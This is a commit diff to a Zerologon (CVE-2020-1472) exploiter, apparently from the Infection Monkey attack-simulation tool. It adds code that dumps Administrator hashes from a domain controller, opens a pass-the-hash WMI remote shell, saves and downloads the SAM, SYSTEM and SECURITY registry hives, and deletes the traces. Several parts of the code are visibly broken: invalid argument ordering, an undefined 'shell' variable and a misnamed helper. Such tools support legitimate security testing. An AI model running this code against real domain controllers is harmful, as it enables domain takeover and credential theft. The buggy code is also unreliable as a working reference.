Restore password

(wmiexec to get HKLM keys --> secretsdump to get orig pwd nthash --> restore)
This commit is contained in:
Shreya 2021-01-26 13:46:01 +05:30
parent e7485bd02f
commit 53ef6feadf
1 changed files with 259 additions and 30 deletions

View File

@ -6,18 +6,23 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
from __future__ import division, print_function from __future__ import division, print_function
import argparse import argparse
import cmd
import codecs import codecs
import io import io
import logging import logging
import ntpath
import os import os
import re import re
import sys import sys
import time
from binascii import hexlify, unhexlify from binascii import hexlify, unhexlify
import impacket import impacket
from Cryptodome.Cipher import AES, ARC4, DES from Cryptodome.Cipher import AES, ARC4, DES
from impacket import crypto, version from impacket import crypto, version
from impacket.dcerpc.v5 import epm, nrpc, transport from impacket.dcerpc.v5 import epm, nrpc, transport
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.examples import logger from impacket.examples import logger
@ -25,7 +30,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
NTDSHashes, RemoteOperations, NTDSHashes, RemoteOperations,
SAMHashes) SAMHashes)
from impacket.krb5.keytab import Keytab from impacket.krb5.keytab import Keytab
from impacket.smbconnection import SMBConnection from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
SMB_DIALECT, SMBConnection)
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
@ -33,6 +39,24 @@ from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
_orig_stdout = None
_new_stdout = None
def _set_stdout_to_in_memory():
# set stdout to in-memory text stream, to capture info that would otherwise be printed
_orig_stdout = sys.stdout
_new_stdout = io.StringIO()
sys.stdout = _new_stdout
def _unset_stdout_and_return_captured():
# set stdout to original and return captured output
sys.stdout = _orig_stdout
_new_stdout.seek(0)
return _new_stdout.read()
class ZerologonExploiter(HostExploiter): class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Netlogon' _EXPLOITED_SERVICE = 'Netlogon'
@ -58,8 +82,9 @@ class ZerologonExploiter(HostExploiter):
'resumefile': None, 'resumefile': None,
'sam': None, 'sam': None,
'security': None, 'security': None,
'system': None, 'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash()
# target and target_ip are assigned in get_original_pwd_nthash() 'target': '',
'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes()
'ts': False, 'ts': False,
'use_vss': False, 'use_vss': False,
'user_status': False 'user_status': False
@ -145,11 +170,13 @@ class ZerologonExploiter(HostExploiter):
LOG.info("Restoring original password...") LOG.info("Restoring original password...")
LOG.info("DCSync; getting original password hashes.") LOG.info("DCSync; getting original password hashes.")
original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP) admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
try: try:
if not original_pwd_nthash: if not admin_pwd_hashes:
raise Exception("Couldn't extract nthash of original password.") raise Exception("Couldn't extract admin password's hashes.")
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
@ -164,29 +191,75 @@ class ZerologonExploiter(HostExploiter):
except Exception as e: except Exception as e:
LOG.error(e) LOG.error(e)
def get_original_pwd_nthash(self, DC_NAME, DC_IP): def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str:
dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP) options = self.OPTIONS_FOR_SECRETSDUMP.copy()
for secret in dumped_secrets: options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
if DC_NAME in secret: options['target_ip'] = DC_IP
nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
return nthash
def get_dumped_secrets(self, DC_NAME, DC_IP):
self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
self.OPTIONS_FOR_SECRETSDUMP['target']).groups('') options['target']).groups('')
# In case the password contains '@' # In case the password contains '@'
if '@' in remote_name: if '@' in remote_name:
password = password + '@' + remote_name.rpartition('@')[0] password = password + '@' + remote_name.rpartition('@')[0]
remote_name = remote_name.rpartition('@')[2] remote_name = remote_name.rpartition('@')[2]
dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP) dumped_secrets = self.get_dumped_secrets(remote_name=remote_name,
username=username,
password=password,
domain=domain,
options=options)
for secret in dumped_secrets:
if 'Administrator' in secret:
hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
return ':'.join(hashes) # format - "lmhash:nthash"
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes)
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
for name in ['system', 'sam', 'security']:
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
options=options)
for secret in dumped_secrets:
if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash"
nthash = secret.split(':')[-1]
return nthash
def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options):
dumper = DumpSecrets(remote_name, username, password, domain, options)
dumped_secrets = dumper.dump().split('\n') dumped_secrets = dumper.dump().split('\n')
return dumped_secrets return dumped_secrets
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
remote_shell = WmiexecRemoteShell(host=self.host,
username='Administrator',
domain=DC_IP,
hashes=':'.join(admin_pwd_hashes))
if remote_shell:
_set_stdout_to_in_memory()
# save HKLM keys on host
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
'reg save HKLM\SAM sam.save && ' +
'reg save HKLM\SECURITY security.save')
# get HKLM keys locally (can't run these together because it needs to call do_get())
shell.onecmd('get system.save')
shell.onecmd('get sam.save')
shell.onecmd('get security.save')
# delete saved keys from host
shell.onecmd('del /f system.save sam.save security.save')
info = _unset_stdout_and_return_captured()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
else:
raise Exception("Could not start remote shell on DC.")
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(DC_IP) rpc_con = self.connect_to_dc(DC_IP)
@ -268,7 +341,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
# Used to get original password hash # Used to get Administrator and original DC passwords' hashes
class DumpSecrets: class DumpSecrets:
def __init__(self, remote_name, username='', password='', domain='', options=None): def __init__(self, remote_name, username='', password='', domain='', options=None):
self.__use_VSS_method = options['use_vss'] self.__use_VSS_method = options['use_vss']
@ -310,16 +383,10 @@ class DumpSecrets:
def connect(self): def connect(self):
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
if self.__do_kerberos: self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aes_key, self.__kdc_host)
else:
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self): def dump(self):
orig_stdout = sys.stdout _set_stdout_in_memory()
new_stdout = io.StringIO()
sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed
dumped_secrets = '' dumped_secrets = ''
try: try:
@ -454,9 +521,7 @@ class DumpSecrets:
except: except:
pass pass
finally: finally:
sys.stdout = orig_stdout dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys
new_stdout.seek(0)
dumped_secrets = new_stdout.read() # includes hashes and kerberos keys
return dumped_secrets return dumped_secrets
def cleanup(self): def cleanup(self):
@ -475,3 +540,167 @@ class DumpSecrets:
# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not # mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not
# mention patching details in report # mention patching details in report
# add exploit info to documentation # add exploit info to documentation
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to get HKLM keys for restoring original DC password
class WmiexecRemoteShell:
OUTPUT_FILENAME = '__' + str(time.time())
CODEC = sys.stdout.encoding
def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False):
self.host = host
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(':')
self.__share = share
self.__noOutput = noOutput
self.shell = None
def run(self):
if self.__noOutput is False:
smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr)
smbConnection.login(user=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash)
dcom = DCOMConnection(target=self.host.ip_addr,
username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
# return self.shell?
except (Exception, KeyboardInterrupt) as e:
LOG.error(str(e))
smbConnection.logoff()
dcom.disconnect()
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to start remote shell on victim
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + self.OUTPUT_FILENAME
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = str('C:\\')
self.__noOutput = True
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename)
fh = open(local_file_path, 'wb')
LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception as e:
LOG.error(str(e))
if os.path.exists(local_file_path):
os.remove(local_file_path)
def do_exit(self, s):
return True
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
try:
self.__outputBuffer += data.decode(self.CODEC)
except UnicodeDecodeError:
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
'again with -codec and the corresponding codec')
self.__outputBuffer += data.decode(self.CODEC, errors='replace')
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting
LOG.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer)
self.__outputBuffer = ''